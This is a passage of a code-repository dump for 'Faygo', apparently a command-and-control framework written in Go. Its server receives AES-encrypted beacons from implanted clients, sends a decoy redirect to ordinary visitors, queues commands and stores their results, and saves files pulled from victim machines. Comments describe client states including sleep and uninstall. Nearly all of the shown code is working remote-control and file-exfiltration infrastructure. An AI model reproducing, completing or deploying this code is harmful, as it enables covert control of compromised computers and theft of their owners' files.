isValidIpNet && !ipNet.IP.IsLoopback() { 23 | if ipNet.IP.To4() != nil { 24 | ips = append(ips, ipNet.IP.String()) 25 | } 26 | } 27 | } 28 | return ips 29 | } -------------------------------------------------------------------------------- /client/module/net/http.go: -------------------------------------------------------------------------------- 1 | package netimport ( 2 | "fmt" 3 | "io/ioutil" 4 | "net/http" 5 | "strings" 6 | "time" 7 | )func HttpGet(url string) string { 8 | resp, err := http.Get(url) 9 | if err != nil { 10 | 11 | s := strings.Split(fmt.Sprintln(err), " ") 12 | 13 | return s[len(s)-1] 14 | } else { 15 | defer resp.Body.Close() 16 | 17 | 18 | 19 | 20 | return string(resp.Status) 21 | }}func HttpPost(url string, body string) string { 22 | resp, err := http.Post(url, "text/html", strings.NewReader(body)) 23 | if err != nil { 24 | fmt.Println(err) 25 | time.Sleep(time.Duration(30) * time.Second) 26 | return "error2" 27 | } else { 28 | defer resp.Body.Close() 29 | response, _ := ioutil.ReadAll(resp.Body) 30 | return string(response) 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /detection.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/detection.jpg -------------------------------------------------------------------------------- /faygo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/faygo.gif -------------------------------------------------------------------------------- /faygo.m4v: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/faygo.m4v -------------------------------------------------------------------------------- /server/config.go: -------------------------------------------------------------------------------- 1 | package main 2 | const ( 3 | dsn = "root:password@tcp(10.10.0.2:3306)/faygo?charset=utf8mb4&parseTime=True&loc=Local" 4 | AesKey = "xxxxxxxxxxxxxx" 5 | defaultsleep = 10 6 | redirecturl = "https: 7 | ) 8 | type Client struct { 9 | Id int `gorm:"column:id" gorm:"default:NULL" json:"id" form:"id"" json:"id" form:"id"` 10 | Cname string `gorm:"column:cname" gorm:"default:NULL" json:"cname" form:"cname"` 11 | Lan string `gorm:"column:lan" gorm:"default:NULL" json:"lan" form:"lan"` 12 | Wan string `gorm:"column:wan" gorm:"default:NULL" json:"wan" form:"wan"` 13 | Os string `gorm:"column:os" gorm:"default:NULL" json:"os" form:"os"` 14 | Mac string `gorm:"column:mac" gorm:"default:NULL" json:"mac" form:"mac"` 15 | LatestTime string `gorm:"column:latest_time" gorm:"default:NULL" json:"latest_time" form:"latest_time"` 16 | Status int `gorm:"column:status" gorm:"default:0" json:"status" form:"status"` 17 | Sleep int `gorm:"column:sleep" gorm:"default:10" json:"sleep" form:"sleep"` 18 | Task string `gorm:"column:task" gorm:"default:NULL" json:"task" form:"task"` 19 | Result string `gorm:"column:result" gorm:"default:NULL" json:"result" form:"result"` 20 | FileHex string `gorm:"column:filehex" gorm:"default:NULL" json:"filehex" form:"filehex"` 21 | FileLo string `gorm:"column:filelo" gorm:"default:NULL" json:"filelo" form:"filelo"` 22 | Notes string `gorm:"column:notes" gorm:"default:NULL" json:"notes" form:"notes"` 23 | } 24 | type Task struct { 25 | Lan string `gorm:"column:lan" gorm:"default:NULL" json:"lan" form:"lan"` 26 | Os string `gorm:"column:os" gorm:"default:NULL" json:"os" form:"os"` 27 | Mac string `gorm:"column:mac" gorm:"default:NULL" json:"mac" form:"mac"` 28 | 29 | Status int `gorm:"column:status" gorm:"default:NULL" json:"status" form:"status"` 30 | Sleep int `gorm:"column:sleep" gorm:"default:10" json:"sleep" form:"sleep"` 31 | Task string `gorm:"column:task" gorm:"default:NULL" json:"task" form:"task"` 32 | Result string `gorm:"column:result" gorm:"default:NULL" json:"result" form:"result"` 33 | FileHex string `gorm:"column:filehex" gorm:"default:NULL" json:"filehex" form:"filehex"` 34 | FileLo string `gorm:"column:filelo" gorm:"default:NULL" json:"filelo" form:"filelo"` 35 | }type TaskTime struct { 36 | Mac string `gorm:"column:mac" gorm:"default:NULL" json:"mac" form:"mac"` 37 | LatestTime string `gorm:"column:latest_time" gorm:"default:NULL" json:"latest_time" form:"latest_time"` 38 | } 39 | -------------------------------------------------------------------------------- /server/database/initialize.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS faygo DEFAULT CHARSET utf8 COLLATE utf8_general_ci; 2 | USE faygo; 3 | CREATE TABLE IF NOT EXISTS `faygo`.`client`( 4 | `client_id` INT NOT NULL AUTO_INCREMENT COMMENT 'client_id', 5 | `note_name` VARCHAR(1000), 6 | `wan_ip` VARCHAR(20), 7 | `lan_ip` VARCHAR(20), 8 | `os_type` VARCHAR(10), 9 | `client_mac` VARCHAR(40), 10 | `latest_time` TIMESTAMP, 11 | /*`latest_task_id` INT,*/ 12 | `client_status` INT, 13 | PRIMARY KEY ( `client_id` ) 14 | )ENGINE=InnoDB DEFAULT CHARSET=utf8; 15 | 16 | CREATE TABLE IF NOT EXISTS `faygo`.`task`( 17 | `task_id` INT, 18 | `client_id` INT, 19 | `comaand_line` VARCHAR(10000), 20 | `command_result` text(60000), 21 | `return_time` TIMESTAMP, 22 | `command_status` INT, 23 | PRIMARY KEY ( `task_id` ) 24 | )ENGINE=InnoDB DEFAULT CHARSET=utf8; 25 | 26 | CREATE TABLE IF NOT EXISTS `faygo`.`file`( 27 | `file_id` INT, 28 | `client_id` INT, 29 | `file_client_location` VARCHAR(200), 30 | `file_name` VARCHAR(100), 31 | `file_hex` text(65000), 32 | `transfer_time` TIMESTAMP, 33 | `transfer_status` INT, 34 | PRIMARY KEY ( `file_id` ) 35 | )ENGINE=InnoDB DEFAULT CHARSET=utf8; -------------------------------------------------------------------------------- /server/func.go: -------------------------------------------------------------------------------- 1 | package mainimport ( 2 | "Faygo/server/module/cipher" 3 | "encoding/base64" 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "net/http" 8 | "time" "github.com/gin-gonic/gin" 9 | "gorm.io/driver/mysql" 10 | "gorm.io/gorm" 11 | )var db *gorm.DB 12 | var sqlerr errorfunc init() { db, sqlerr = gorm.Open(mysql.Open(dsn), &gorm.Config{}) 13 | if sqlerr != nil { 14 | panic(sqlerr) 15 | }}func StartHttpServer() { 16 | router := gin.Default() 17 | router.GET("/", HttpGet) 18 | router.POST("/", HttpPost) 19 | router.Run(":5000") 20 | } 21 | func HttpGet(c *gin.Context) { 22 | 23 | c.Redirect(302, redirecturl) 24 | } 25 | func HttpPost(c *gin.Context) { 26 | body, err := ioutil.ReadAll(c.Request.Body) 27 | 28 | if err != nil { 29 | c.JSON(http.StatusOK, gin.H{ 30 | "error": err, 31 | }) 32 | } else { 33 | posttask := Task{} 34 | posttask.Json2Struct(AesDeCode(string(body))) 35 | if posttask.Mac == "" { 36 | c.Redirect(302, redirecturl) } else { 37 | posttask.UpdataTime() 38 | response := DealRequests(string(body)) 39 | 40 | fmt.Println("response:", response) 41 | c.String(http.StatusOK, response) 42 | } } 43 | }func AesEnCode(str string) string { 44 | bytestr := []byte(str) 45 | cryptstr, err := cipher.AesCbcEncrypt(bytestr, []byte(AesKey)) 46 | if err != nil { 47 | fmt.Println(err) 48 | } 49 | return base64.StdEncoding.EncodeToString(cryptstr) 50 | }func AesDeCode(str string) string { 51 | bytestr, _ := base64.StdEncoding.DecodeString(str) 52 | 53 | decryptstr, err := cipher.AesCbcDecrypt(bytestr, []byte(AesKey)) 54 | if err != nil { 55 | fmt.Println(err) 56 | } 57 | return string(decryptstr) 58 | }func Struct2Json(clientstruct interface{}) string { 59 | json, _ := json.Marshal(clientstruct) 60 | return string(json) 61 | }func (client *Client) Json2Struct(clientjson string) { 62 | jsontmp := string(clientjson) 63 | json.Unmarshal([]byte(jsontmp), client) 64 | }func (task *Task) Json2Struct(clientjson string) { 65 | jsontmp := string(clientjson) 66 | json.Unmarshal([]byte(jsontmp), task) 67 | }func InitClient(client Client) bool { 68 | client.Sleep = defaultsleep 69 | client.Status = 1 70 | result := db.Table("client").Create(&client) 71 | if sqlerr != nil { 72 | fmt.Println(result) 73 | return false 74 | } else { 75 | return true 76 | }}func (task *Task) GetTask() { 77 | db.Table("client").Where("mac = ?", task.Mac).Find(&task)}func (task *Task) UpdataTask() { 78 | 79 | task.Status = 1 80 | 81 | db.Table("client").Model(&Task{}).Where("mac = ?", task.Mac).Omit("mac", "task").Updates(task) }func (task *Task) UpdataTime() { 82 | tasktime := TaskTime{Mac: task.Mac, LatestTime: GetTime()} 83 | db.Table("client").Model(&TaskTime{}).Where("mac = ?", tasktime.Mac).Updates(tasktime)} 84 | func GetTime() string { 85 | return time.Now().Format("2006-01-02 15:04:05") 86 | } 87 | -------------------------------------------------------------------------------- /server/go.mod: -------------------------------------------------------------------------------- 1 | module Faygo/servergo 1.15require ( 2 | github.com/gin-gonic/gin v1.6.3 3 | gorm.io/driver/mysql v1.0.4 4 | ) 5 | -------------------------------------------------------------------------------- /server/go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 4 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 5 | github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14= 6 | github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M= 7 | github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 8 | github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q= 9 | github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8= 10 | github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no= 11 | github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA= 12 | github.com/go-playground/validator/v10 v10.2.0 h1:KgJ0snyC2R9VXYN2rneOtQcw5aHQB1Vv0sFl1UcHBOY= 13 | github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI= 14 | github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs= 15 | github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= 16 | github.com/golang/protobuf v1.3.3 h1:gyjaxf+svBWX08ZjK86iN9geUJF0H6gp2IRKX6Nf6/I= 17 | github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= 18 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 19 | github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= 20 | github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= 21 | github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E= 22 | github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= 23 | github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= 24 | github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y= 25 | github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII= 26 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= 27 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 28 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 29 | github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= 30 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 31 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 32 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 33 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 34 | github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo= 35 | github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw= 36 | github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs= 37 | github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY= 38 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42 h1:vEOn+mP2zCOVzKckCZy6YsCtDblrpj/w7B9nxGNELpg= 39 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 40 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 41 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 42 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 43 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 44 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 45 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 46 | gorm.io/driver/mysql v1.0.4 h1:TATTzt+kR+IV0+h3iUB3dHUe8omCvQ0rOkmfCsUBohk= 47 | gorm.io/driver/mysql v1.0.4/go.mod h1:MEgp8tk2n60cSBCq5iTcPDw3ns8Gs+zOva9EUhkknTs= 48 | gorm.io/gorm v1.20.12 h1:ebZ5KrSHzet+sqOCVdH9mTjW91L298nX3v5lVxAzSUY= 49 | gorm.io/gorm v1.20.12/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw= 50 | -------------------------------------------------------------------------------- /server/httpserver/httpserver.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/gin-gonic/gin" 4 | 5 | func main() { 6 | router := gin.Default() 7 | 8 | router.POST("/form_post", func(c *gin.Context) { 9 | message := c.PostForm("message") 10 | nick := c.DefaultPostForm("nick", "anonymous") // 此方法可以设置默认值 11 | 12 | c.JSON(200, gin.H{ 13 | "status": "posted", 14 | "message": message, 15 | "nick": nick, 16 | }) 17 | }) 18 | router.Run(":8080") 19 | } 20 | -------------------------------------------------------------------------------- /server/main.go: -------------------------------------------------------------------------------- 1 | package mainimport ( 2 | "Faygo/server/module/file" 3 | "fmt" 4 | "strings" "gorm.io/driver/mysql" 5 | "gorm.io/gorm" 6 | )func main() { 7 | StartHttpServer() 8 | } 9 | func DealRequests(body string) string { 10 | 11 | 12 | acquirebodystruct := Task{} 13 | acquirebodystruct.Json2Struct(AesDeCode(body)) 14 | switch acquirebodystruct.Status { 15 | case 0: 16 | return CaseZero(acquirebodystruct) 17 | case 1: 18 | return CaseOne(acquirebodystruct) 19 | case 2: 20 | fmt.Println("case2") 21 | return CaseTwo(acquirebodystruct) 22 | case 3: 23 | fmt.Println("case3") 24 | return CaseThree(acquirebodystruct) 25 | case 4: 26 | fmt.Println("case4") 27 | return CaseFour(acquirebodystruct) 28 | case 5: 29 | fmt.Println("case5") 30 | return CaseTwo(acquirebodystruct) 31 | default: 32 | return "error" 33 | }}func CaseFour(t Task) string { 34 | if t.FileHex != "" { 35 | filelo := fmt.Sprintf(strings.Replace(t.FileLo, "/", ".", -1)) 36 | filelo = "/home/user/go/src/Faygo/server/upload/" + fmt.Sprintf(strings.Replace(filelo, ":", "-", -1)) 37 | fmt.Println("文件保存在",filelo) 38 | file.HexToFile(t.FileHex, filelo) 39 | fmt.Println("客户端文件读取成功") 40 | } else { 41 | fmt.Println("客户端文件读取失败") 42 | } 43 | t.UpdataTask() 44 | return ReturnTask(t) 45 | }func CaseThree(t Task) string { 46 | if t.FileHex == "文件写入成功" { 47 | fmt.Println("客户端文件写入成功") 48 | } else { 49 | fmt.Println("客户端文件写入失败") 50 | } 51 | t.UpdataTask() 52 | return ReturnTask(t) 53 | }func CaseZero(t Task) string { 54 | if GetStatus(t) == 0 { 55 | client := Client{} 56 | client.Json2Struct(Struct2Json(t)) 57 | if InitClient(client) { 58 | fmt.Println("init success") 59 | return ReturnTask(t) 60 | } else { 61 | fmt.Println("init error") 62 | return ReturnTask(t) 63 | } } else { 64 | fmt.Println("already init") 65 | return ReturnTask(t) 66 | } 67 | }func CaseOne(t Task) string { 68 | 69 | transstruct := Task{Mac: t.Mac} 70 | transstruct.GetTask() 71 | switch transstruct.Status { 72 | case 1: 73 | transstruct.Task = "" 74 | transstruct.Result = "" 75 | transstruct.FileLo = "" 76 | transstruct.FileHex = "" 77 | return AesEnCode(Struct2Json(transstruct)) 78 | case 2: 79 | transstruct.FileLo = "" 80 | transstruct.FileHex = "" 81 | return ReturnTask(t) 82 | case 3: 83 | transstruct.Task = "" 84 | transstruct.Result = "" 85 | return ReturnTask(t) 86 | case 4: 87 | transstruct.Task = "" 88 | transstruct.Result = "" 89 | transstruct.FileHex = "" 90 | return ReturnTask(t) 91 | case 5: 92 | transstruct.Task = "" 93 | transstruct.Result = "" 94 | transstruct.FileLo = "" 95 | transstruct.FileHex = "" 96 | return ReturnTask(t) 97 | default: 98 | return ReturnTask(t) 99 | }}func CaseTwo(t Task) string { 100 | t.UpdataTask() 101 | 102 | 103 | return ReturnTask(t) 104 | }func ReturnTask(task Task) string { 105 | transstruct := Task{Mac: task.Mac} 106 | transstruct.GetTask() 107 | return AesEnCode(Struct2Json(transstruct)) 108 | }func GetStatus(poststruct Task) int { 109 | db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) 110 | if err != nil { 111 | fmt.Println(err) 112 | } 113 | db.Table("client").Where("mac = ?", poststruct.Mac).Find(poststruct) 114 | if poststruct.Status == 0 { 115 | return 0 116 | } else { 117 | return poststruct.Status 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /server/module/cipher/aescbc.go: -------------------------------------------------------------------------------- 1 | package cipherimport ( 2 | "bytes" 3 | "crypto/aes" 4 | "crypto/cipher" 5 | "log" 6 | "runtime" 7 | )const ( 8 | ivaes = "Kasy65xGUhjbzg5f" 9 | aeskey = "qqqqqqqqqqqqqqqq" 10 | )func PKCS5Padding(plainText []byte, blockSize int) []byte { 11 | padding := blockSize - (len(plainText) % blockSize) 12 | padText := bytes.Repeat([]byte{byte(padding)}, padding) 13 | newText := append(plainText, padText...) 14 | return newText 15 | }func PKCS5UnPadding(plainText []byte) ([]byte, error) { 16 | length := len(plainText) 17 | number := int(plainText[length-1]) 18 | if number > length { 19 | return nil, nil 20 | } 21 | return plainText[:length-number], nil 22 | }func init() { 23 | log.SetFlags(log.Ldate | log.Lshortfile) 24 | } 25 | func AesCbcEncrypt(plainText, key []byte, ivAes ...byte) ([]byte, error) { 26 | if len(key) != 16 && len(key) != 24 && len(key) != 32 { 27 | return nil, nil 28 | } 29 | block, err := aes.NewCipher(key) 30 | if err != nil { 31 | return nil, err 32 | } 33 | paddingText := PKCS5Padding(plainText, block.BlockSize()) var iv []byte 34 | if len(ivAes) != 0 { 35 | if len(ivAes) != 16 { 36 | return nil, nil 37 | } else { 38 | iv = ivAes 39 | } 40 | } else { 41 | iv = []byte(ivaes) 42 | } 43 | blockMode := cipher.NewCBCEncrypter(block, iv) 44 | cipherText := make([]byte, len(paddingText)) 45 | blockMode.CryptBlocks(cipherText, paddingText) 46 | return cipherText, nil 47 | } 48 | func AesCbcDecrypt(cipherText, key []byte, ivAes ...byte) ([]byte, error) { 49 | if len(key) != 16 && len(key) != 24 && len(key) != 32 { 50 | return nil, nil 51 | } 52 | block, err := aes.NewCipher(key) 53 | if err != nil { 54 | return nil, err 55 | } defer func() { 56 | if err := recover(); err != nil { 57 | switch err.(type) { 58 | case runtime.Error: 59 | log.Println("runtime err:", err, "Key error") 60 | default: 61 | log.Println("error:", err) 62 | } 63 | } 64 | }() 65 | var iv []byte 66 | if len(ivAes) != 0 { 67 | if len(ivAes) != 16 { 68 | return nil, nil 69 | } else { 70 | iv = ivAes 71 | } 72 | } else { 73 | iv = []byte(ivaes) 74 | } 75 | blockMode := cipher.NewCBCDecrypter(block, iv) 76 | paddingText := make([]byte, len(cipherText)) 77 | blockMode.CryptBlocks(paddingText, cipherText) plainText, err := PKCS5UnPadding(paddingText) 78 | if err != nil { 79 | return nil, err 80 | } 81 | return plainText, nil 82 | } 83 | -------------------------------------------------------------------------------- /server/module/database/initialize.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS faygo DEFAULT CHARSET utf8 COLLATE utf8_general_ci; 2 | USE faygo; 3 | CREATE TABLE IF NOT EXISTS `faygo`.`client`( 4 | `id` INT NOT NULL AUTO_INCREMENT COMMENT 'client_id', 5 | `cname` VARCHAR(255) COMMENT 'client_cname', 6 | `lan` VARCHAR(255) COMMENT 'lan_ip', 7 | `wan` VARCHAR(255) COMMENT 'wan_ip', 8 | `os` VARCHAR(255) COMMENT 'os_type', 9 | `mac` VARCHAR(255) COMMENT 'client_mac', 10 | `latest_time` VARCHAR(255) COMMENT 'latest_time', 11 | `status` INT COMMENT 'client_status', 12 | `sleep` INT DEFAULT 10 COMMENT 'sleep_time', 13 | `task` VARCHAR(2000) COMMENT 'client_task', 14 | `result` TEXT(50000) COMMENT 'task_result', 15 | `filehex` LONGBLOB COMMENT 'file_hex', 16 | `filelo` VARCHAR(255) COMMENT 'file_location', 17 | `notes` VARCHAR(5000) COMMENT 'client_notes', 18 | PRIMARY KEY ( `id` ) 19 | )ENGINE=InnoDB DEFAULT CHARSET=utf8; -------------------------------------------------------------------------------- /server/module/database/sqltesting/gormtesting.go: -------------------------------------------------------------------------------- 1 | package mainimport ( 2 | "fmt" "encoding/json" "gorm.io/driver/mysql" 3 | "gorm.io/gorm" 4 | ) 5 | type Client struct { 6 | Id int `gorm:"column:id" gorm:"default:NULL" json:"id" form:"id"" json:"id" form:"id"` 7 | Cname string `gorm:"column:cname" gorm:"default:NULL" json:"cname" form:"cname"` 8 | Lan string `gorm:"column:lan" gorm:"default:NULL" json:"lan" form:"lan"` 9 | Wan string `gorm:"column:wan" gorm:"default:NULL" json:"wan" form:"wan"` 10 | OsType string `gorm:"column:os" gorm:"default:NULL" json:"wan" form:"wan"` 11 | Mac string `gorm:"column:mac" gorm:"default:NULL" json:"mac" form:"mac"` 12 | LatestTime string `gorm:"column:latest_time" gorm:"default:NULL" json:"latest_time" form:"latest_time"` 13 | Status int `gorm:"column:status" gorm:"default:0" json:"status" form:"status"` 14 | Sleep int `gorm:"column:sleep" gorm:"default:10" json:"sleep" form:"sleep"` 15 | Task string `gorm:"column:task" gorm:"default:NULL" json:"task" form:"task"` 16 | Result string `gorm:"column:result" gorm:"default:NULL" json:"result" form:"result"` 17 | FileHex string `gorm:"column:filehex" gorm:"default:NULL" json:"filehex" form:"filehex"` 18 | FileLo string `gorm:"column:filelo" gorm:"default:NULL" json:"filelo" form:"filelo"` 19 | Notes string `gorm:"column:notes" gorm:"default:NULL" json:"notes" form:"notes"` 20 | } 21 | type Task struct { 22 | Mac string `gorm:"column:mac" gorm:"default:NULL" json:"mac" form:"mac"` 23 | LatestTime string `gorm:"column:latest_time" gorm:"default:NULL" json:"latest_time" form:"latest_time"` 24 | Status int `gorm:"column:status" gorm:"default:NULL" json:"status" form:"status"` 25 | Task string `gorm:"column:task" gorm:"default:NULL" json:"task" form:"task"` 26 | Sleep int `gorm:"column:sleep" gorm:"default:10" json:"sleep" form:"sleep"` 27 | Result string `gorm:"column:result" gorm:"default:NULL" json:"result" form:"result"` 28 | FileHex string `gorm:"column:filehex" gorm:"default:NULL" json:"filehex" form:"filehex"` 29 | FileLo string `gorm:"column:filelo" gorm:"default:NULL" json:"filelo" form:"filelo"` 30 | }func main() { 31 | 32 | dsn := "root:password@tcp(10.10.0.2:3306)/faygo?charset=utf8mb4&parseTime=True&loc=Local" 33 | db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) 34 | if err != nil { 35 | fmt.Println(err) 36 | } 37 | 38 | 39 | 40 | var clienttmp Client 41 | db.Table("client").Where("mac = ?", "aaa").Find(&clienttmp) 42 | json, _ := json.Marshal(clienttmp) 43 | fmt.Println(string(json)) 44 | db.Table("client").Model(&Task{}).Where("mac = ?", clienttmp.Mac).Update("result", "") 45 | } 46 | -------------------------------------------------------------------------------- /server/module/database/sqltesting/sqlcon.go: -------------------------------------------------------------------------------- 1 | package mainimport ( 2 | "database/sql" 3 | "fmt" 4 | "time" _ "github.com/go-sql-driver/mysql" 5 | ) 6 | const ( 7 | USERNAME = "root" 8 | PASSWORD = "password" 9 | NETWORK = "tcp" 10 | SERVER = "127.0.0.1" 11 | PORT = 3306 12 | DATABASE = "faygo" 13 | )func main() { 14 | conn := fmt.Sprintf("%s:%s@%s(%s:%d)/%s", USERNAME, PASSWORD, NETWORK, SERVER, PORT, DATABASE) 15 | DB, err := sql.Open("mysql", conn) 16 | if err != nil { 17 | fmt.Println("connection to mysql failed:", err) 18 | return 19 | } DB.SetConnMaxLifetime(100 * time.Second) 20 | DB.SetMaxOpenConns(100) 21 | sqlstring := "INSERT INTO client (client_mac,client_status) VALUES ('testmac3',0)" 22 | CreateTable(DB, sqlstring)} 23 | func CreateTable(DB *sql.DB, sqlstring string) { 24 | sql := sqlstring if _, err := DB.Exec(sql); err != nil { 25 | fmt.Println("create table failed:", err) 26 | return 27 | } 28 | fmt.Println("create table successd") 29 | } 30 | -------------------------------------------------------------------------------- /server/module/database/sqltesting/sqlfunc.txt: -------------------------------------------------------------------------------- 1 | table_name client 2 | id cname lan wan os mac latest_time status task result filehex filelo notes 3 | CREATE DATABASE IF NOT EXISTS faygo DEFAULT CHARSET utf8 COLLATE utf8_general_ci; 4 | USE faygo; 5 | CREATE TABLE IF NOT EXISTS `faygo`.`client`( 6 | `id` INT NOT NULL AUTO_INCREMENT COMMENT 'client_id', 7 | `cname` VARCHAR(255) COMMENT 'client_cname', 8 | `lan` VARCHAR(255) COMMENT 'lan_ip', 9 | `wan` VARCHAR(255) COMMENT 'wan_ip', 10 | `os` VARCHAR(255) COMMENT 'os_type', 11 | `mac` VARCHAR(255) COMMENT 'client_mac', 12 | `latest_time` VARCHAR(255) COMMENT 'latest_time', 13 | `status` INT COMMENT 'client_status', 14 | `task` VARCHAR(2000) COMMENT 'client_task', 15 | `result` TEXT(50000) COMMENT 'task_result', 16 | `filehex` LONGTEXT COMMENT 'file_hex', 17 | `filelo` VARCHAR(255) COMMENT 'file_location', 18 | `notes` VARCHAR(5000) COMMENT 'client_notes', 19 | PRIMARY KEY ( `id` ) 20 | )ENGINE=InnoDB DEFAULT CHARSET=utf8;/*client_status 21 | 0:初始化 22 | 1:正常,查询无任务后,进入sleep进程 23 | 2:快速交互模式 24 | 3:进入休眠 25 | 4:卸载 26 | */--1. get mac 27 | -- post data {"client_mac":"testmac"} 28 | select client_id,client_status from client where client_mac ='testmac'; --return {"client_id":"101","client_status","1"}--if empty 29 | --服务http处理空 30 | INSERT INTO client (client_mac,client_status) VALUES ('testmac', 0 ); 31 | select client_id,client_status from client where client_mac ='testmac'; 32 | --服务端返回状态码{"client_id":"101","client_status":"0"}--2. new client 33 | /*客户端初始化 34 | 获取初始化信息,提交post data 35 | {"client_mac":"testmac","os_type":"user",lan_ip":"10.0.0.1","client_status","0"} 36 | *//*服务http处理初始化条目 37 | 处理os_type,转换为windows/linux/drwin 38 | 获取连接的ip转换为wan_ip 39 | 获取时间转换为latest_time 40 | */UPDATE 